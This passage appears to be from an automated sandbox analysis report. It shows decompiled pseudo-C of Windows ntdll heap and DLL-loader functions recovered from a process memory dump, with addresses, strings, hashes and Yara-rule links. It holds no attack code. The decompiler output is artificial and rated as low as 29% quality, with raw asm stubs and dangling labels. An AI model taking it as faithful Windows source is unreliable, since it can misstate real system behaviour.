					_t283 = E015C1370(_t280, 0x1554e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E015BBB40(_t267,  &_v68, _t245);
							if(L015843C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E015C1370(_t284, 0x1554e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E015BBB40(_t267,  &_v68, _t224);
						if(L015843C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x01583d3c
0x01583d42
0x01583d44
0x01583d46
0x01583d49
0x01583d4c
0x01583d4f
0x01583d52
0x01583d55
0x01583d58
0x01583d5b
0x01583d5f
0x01583d61
0x01583d66
0x015d8213
0x015d8218
0x01584085
0x01584088
0x0158408e
0x01584094
0x0158409a
0x015840a0
0x015840a6
0x015840a9
0x015840af
0x015840b6
0x015840bd
0x015840bd
0x01583d83
0x015d821f
0x015d8229
0x015d8238
0x015d8238
0x015d823d
0x015d823d
0x01583da0
0x01583daf
0x01583db5
0x01583dba
0x01583dba
0x01583dd4
0x01583e94
0x01583eab
0x01583f6d
0x01583f84
0x0158406b
0x0158406b
0x0158406e
0x0158406e
0x01584070
0x01584074
0x015d8351
0x015d8351
0x0158407a
0x0158407f
0x015d835d
0x015d8370
0x015d8377
0x015d8379
0x015d837c
0x015d837c
0x015d835d
0x00000000
0x0158407f
0x01583f8a
0x01583f8d
0x01583f90
0x01583f95
0x015d830d
0x015d830f
0x01583f9b
0x01583fac
0x01583fae
0x01583fb1
0x01583fb1
0x01583fb6
0x015d8317
0x015d831a
0x00000000
0x01583fbc
0x01583fc1
0x01583fc9
0x01583fd7
0x01583fda
0x01583fdd
0x01584021
0x01584021
0x01584029
0x01584030
0x01584044
0x01584046
0x01584046
0x01584044
0x01584049
0x015d8327
0x015d8334
0x015d8339
0x015d833c
0x0158404f
0x0158404f
0x0158404f
0x01584051
0x01584056
0x01584063
0x01584063
0x01584068
0x00000000
0x01584068
0x01583fdf
0x01583fe2
0x01583fe4
0x01583fe7
0x01583fef
0x01584003
0x01584005
0x01584005
0x0158400c
0x01584013
0x01584016
0x01584017
0x0158401b
0x0158401e
0x00000000
0x0158401e
0x01583fb6
0x01583eb1
0x01583eb4
0x01583eb7
0x01583ebc
0x015d82a9
0x015d82ab
0x01583ec2
0x01583ed3
0x01583ed5
0x01583ed8
0x01583ed8
0x01583edd
0x015d82b3
0x015d82b6
0x00000000
0x01583ee3
0x01583ee8
0x01583eed
0x01583ef0
0x01583ef3
0x01583f02
0x01583f05
0x01583f08
0x015d82c0
0x015d82c3
0x015d82c5
0x015d82c8
0x015d82d0
0x015d82e4
0x015d82e6
0x015d82e6
0x015d82ed
0x015d82f4
0x015d82f7
0x015d82f8
0x015d82fc
0x015d82ff
0x015d82ff
0x01583f0e
0x01583f11
0x01583f16
0x01583f1d
0x01583f31
0x015d8307
0x015d8307
0x01583f31
0x01583f39
0x01583f48
0x01583f4d
0x01583f50
0x01583f50
0x01583f53
0x01583f58
0x01583f65
0x01583f65
0x01583f6a
0x00000000
0x01583f6a
0x01583edd
0x01583dda
0x01583ddd
0x01583de0
0x01583de5
0x015d8245
0x01583deb
0x01583df7
0x01583dfc
0x01583dfe
0x01583e01
0x01583e01
0x01583e06
0x015d824d
0x015d824f
0x015d8254
0x00000000
0x01583e0c
0x01583e11
0x01583e16
0x01583e19
0x01583e29
0x01583e2c
0x01583e2f
0x015d825c
0x015d825f
0x015d8261
0x015d8264
0x015d826c
0x015d8280
0x015d8282
0x015d8282
0x015d8289
0x015d8290
0x015d8293
0x015d8294
0x015d8298
0x015d829b
0x015d829b
0x01583e35
0x01583e38
0x01583e3d
0x01583e44
0x01583e58
0x015d82a3
0x015d82a3
0x01583e58
0x01583e60
0x01583e6f
0x01583e74
0x01583e77
0x01583e77
0x01583e7a
0x01583e7f
0x01583e8c
0x01583e8c
0x01583e91
0x00000000
0x01583e91

Strings

Kernel-MUI-Language-SKU, xrefs: 01583F70
Kernel-MUI-Language-Disallowed, xrefs: 01583E97
Kernel-MUI-Language-Allowed, xrefs: 01583DC0
Kernel-MUI-Number-Allowed, xrefs: 01583D8C
WindowsExcludedProcs, xrefs: 01583D6F

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 51b485a8f917959b206b8ceb037adf062338b3ec57d76f30bba53bb9d69cb1f4
Instruction ID: 89a4b06cfe9d41e24d39c1f56f5de8e209b5dd70f62c6a987c5953e66b2df77b
Opcode Fuzzy Hash: 51b485a8f917959b206b8ceb037adf062338b3ec57d76f30bba53bb9d69cb1f4
Instruction Fuzzy Hash: E6F13071D1061AEFCF11EF98C980AEEBBB9FF58A50F14045AE905BB250E7749E41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 015740E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E015740E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0157B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E0157B150(", passed to %s", _t29);
					}
					_push("\n");
					E0157B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x1666378 = 1;
						asm("int3");
						 *0x1666378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x015740e6
0x015740e8
0x015740f1
0x015d042d
0x015d044c
0x015d0451
0x015d042f
0x015d0444
0x015d0449
0x015d045d
0x015d0466
0x015d046e
0x015d0474
0x015d0475
0x015d047a
0x015d048a
0x015d048c
0x015d0493
0x015d0494
0x015d0494
0x00000000
0x015d049b
0x00000000

Strings

RtlAllocateHeap, xrefs: 015D0468
HEAP[%wZ]: , xrefs: 015D043F
HEAP: , xrefs: 015D044C
Invalid heap signature for heap at %p, xrefs: 015D0458
, passed to %s, xrefs: 015D0469

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: eecfb21b2a3b24c90cf84f8acc91a56aee5cedd8aa426dcfcf30f4d5bc7044f4
Instruction ID: 222dde8b8ffee391f6c85996a0843f572044804379b65c1ac767dc9b0dbbffb3
Opcode Fuzzy Hash: eecfb21b2a3b24c90cf84f8acc91a56aee5cedd8aa426dcfcf30f4d5bc7044f4
Instruction Fuzzy Hash: 40014C32100282EEE335976EF81EF567BA4FF81B30F18402EF4044F681DAE49440C315

Uniqueness

Uniqueness Score: -1.00%

Function 0159A229, Relevance: 5.2, Strings: 4, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0159A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E0159DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E015B9730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E0163A80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E015B9660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E0157B150();
					} else {
						E0157B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E0157B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E01597D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E0163138A(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E01597D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E01597D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E01631582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E01597D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E01597D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E01631582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E015CD5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x0159a229
0x0159a231
0x0159a23f
0x0159a242
0x0159a244
0x0159a24c
0x0159a255
0x0159a25a
0x0159a25f
0x015e1c76
0x015e1c78
0x015e1c7e
0x015e1c7f
0x015e1c81
0x015e1c82
0x015e1c84
0x015e1c89
0x015e1c8b
0x015e1c9e
0x015e1c9e
0x015e1cab
0x015e1cb2
0x00000000
0x015e1cb2
0x015e1c8d
0x015e1c92
0x00000000
0x00000000
0x015e1c94
0x015e1c98
0x00000000
0x00000000
0x00000000
0x015e1c98
0x0159a265
0x0159a265
0x0159a266
0x0159a26f
0x0159a270
0x0159a276
0x0159a277
0x0159a279
0x0159a27e
0x0159a282
0x015e1db5
0x015e1dbb
0x015e1dc1
0x015e1dc5
0x015e1de4
0x015e1de9
0x015e1dc7
0x015e1ddc
0x015e1de1
0x015e1def
0x015e1df3
0x015e1df7
0x015e1dfe
0x015e1e06
0x0159a302
0x0159a308
0x0159a308
0x0159a288
0x0159a28d
0x0159a294
0x015e1cc1
0x0159a29a
0x0159a29a
0x0159a29a
0x0159a29f
0x015e1ccb
0x015e1cd1
0x015e1cd8
0x015e1cea
0x015e1cea
0x015e1cd8
0x0159a2a9
0x0159a2af
0x0159a2bc
0x015e1cfd
0x0159a2c2
0x0159a2c2
0x0159a2c2
0x0159a2c7
0x015e1d07
0x015e1d0d
0x015e1d14
0x015e1d1f
0x015e1d21
0x015e1d2c
0x015e1d2c
0x015e1d2c
0x015e1d47
0x015e1d47
0x015e1d14
0x0159a2cd
0x0159a2d2
0x0159a2d9
0x015e1d5a
0x0159a2df
0x0159a2df
0x0159a2df
0x0159a2e4
0x015e1d69
0x015e1d6b
0x015e1d76
0x015e1d76
0x015e1d76
0x015e1d91
0x015e1d91
0x0159a2ea
0x0159a2f0
0x0159a2f5
0x015e1da8
0x015e1dad
0x015e1dad
0x0159a2fd
0x0159a300
0x00000000

Strings

HEAP[%wZ]: , xrefs: 015E1DD7
HEAP: , xrefs: 015E1DE4
`, xrefs: 015E1C8D
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 015E1DF9

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: 0a959bd0f9d8d022d563cb3604c898ec81003f7d5dd3c5ff6db5288d59e957c8
Instruction ID: 20676857027b9159b28d49fbc01c2b1ce670e4d5732f2af4986e6cd09c10d050
Opcode Fuzzy Hash: 0a959bd0f9d8d022d563cb3604c898ec81003f7d5dd3c5ff6db5288d59e957c8
Instruction Fuzzy Hash: 2F51F5326046829FEB22DB68C988F6B7BE9FF84750F080869F555CF291D775D900CB62

Uniqueness

Uniqueness Score: -1.00%

Function 015A8E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E015A8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x166d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1668464; // 0x76d30110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1665780 & 0x00000003) != 0) {
							E015F5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1665780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E015BB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1667984; // 0x1112c10
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1668464; // 0x76d30110
					 *0x166b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E015A9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1665780 & 0x00000005) != 0) {
						_push(_t49);
						E015F5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x015a8e0f
0x015a8e16
0x015a8e19
0x015a8e1b
0x015a8e21
0x015a8e7f
0x015a8e85
0x015e9354
0x015e936c
0x015e9371
0x015e937b
0x015e9381
0x015e9381
0x015e937b
0x015a8e9d
0x015a8e9d
0x015a8e29
0x015a8e2c
0x015a8e38
0x015a8e3e
0x015a8e43
0x015a8eb5
0x015a8eb9
0x015e92aa
0x015e92af
0x015e92e8
0x015e92e8
0x015e92af
0x015a8eb9
0x015a8e45
0x015a8e53
0x015a8e5b
0x015a8e5f
0x015a8e78
0x015a8e78
0x015a8e7d
0x015a8ec3
0x015a8ecd
0x015a8ed2
0x015a8ed2
0x015a8ec5
0x015a8ec5
0x00000000
0x015a8e7d
0x015a8e67
0x015a8ea4
0x015e931a
0x00000000
0x00000000
0x015e9320
0x015a8ea4
0x015a8e70
0x015e9325
0x015e9340
0x015e9345
0x015e9345
0x015a8e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

LdrpFindDllActivationContext, xrefs: 015E9331, 015E935D
Querying the active activation context failed with status 0x%08lx, xrefs: 015E9357
minkernel\ntdll\ldrsnap.c, xrefs: 015E933B, 015E9367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 015E932A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: e51da530b3caa5a51aeb47f4e0636877513bf7781bc60f36f8ad90ec7b4e29d1
Instruction ID: f37e5d203bf26ce59f48a859def3c8c7f29e8a892b50270877f295f50b480b2e
Opcode Fuzzy Hash: e51da530b3caa5a51aeb47f4e0636877513bf7781bc60f36f8ad90ec7b4e29d1
Instruction Fuzzy Hash: EE410732E80315EEEB36AB1D8C5DB7EBBE4BB4424AF85456AEB045F151E7706D808381

Uniqueness

Uniqueness Score: -1.00%

Function 016349A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01634A3D, 01634AB7
This is located in the %s field of the heap header., xrefs: 01634AD6
HEAP: , xrefs: 01634A4A, 01634A5D, 01634A5F, 01634AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 01634A61

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: 3c9715ca4e68969bfb0fd6ebbb5fb71fcbc2ef92c5c819e14aac1d3a628477a3
Instruction ID: bc52dd7f3a80fabdc46257fd1c747567679f019463af5e333d34927df7c97342
Opcode Fuzzy Hash: 3c9715ca4e68969bfb0fd6ebbb5fb71fcbc2ef92c5c819e14aac1d3a628477a3
Instruction Fuzzy Hash: 5B31F035200642EFD320DBAADC85F6AF7A8FF84620F14405AFD058F255EB71A985CA68

Uniqueness

Uniqueness Score: -1.00%

Function 01588794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E01588794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E0158934A() != 0) {
								_t159 = E015FA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x1665780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E015F5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x1665780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E0158849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E01588999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E01588999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x1665c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x1665c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E01592280(_t92, 0x16686cc);
															_t94 = E01649DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E015A61A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x1665c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E01588A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x1665c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x1665c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E015BF380(_t136, 0x1551184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E01592280(_t108, 0x16686cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E015A61A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E01649D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E0158FFB0(_t118, _t156, 0x16686cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E015B9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x01588799
0x0158879d
0x015887a1
0x015887a3
0x015887a8
0x015887c3
0x015887c3
0x015887c8
0x015887d1
0x015887d4
0x015887d8
0x015887e5
0x015887ec
0x015d9bfe
0x015d9c00
0x015d9c02
0x015d9c08
0x015d9c0d
0x015d9c0f
0x015d9c14
0x015d9c2d
0x015d9c32
0x015d9c37
0x015d9c3a
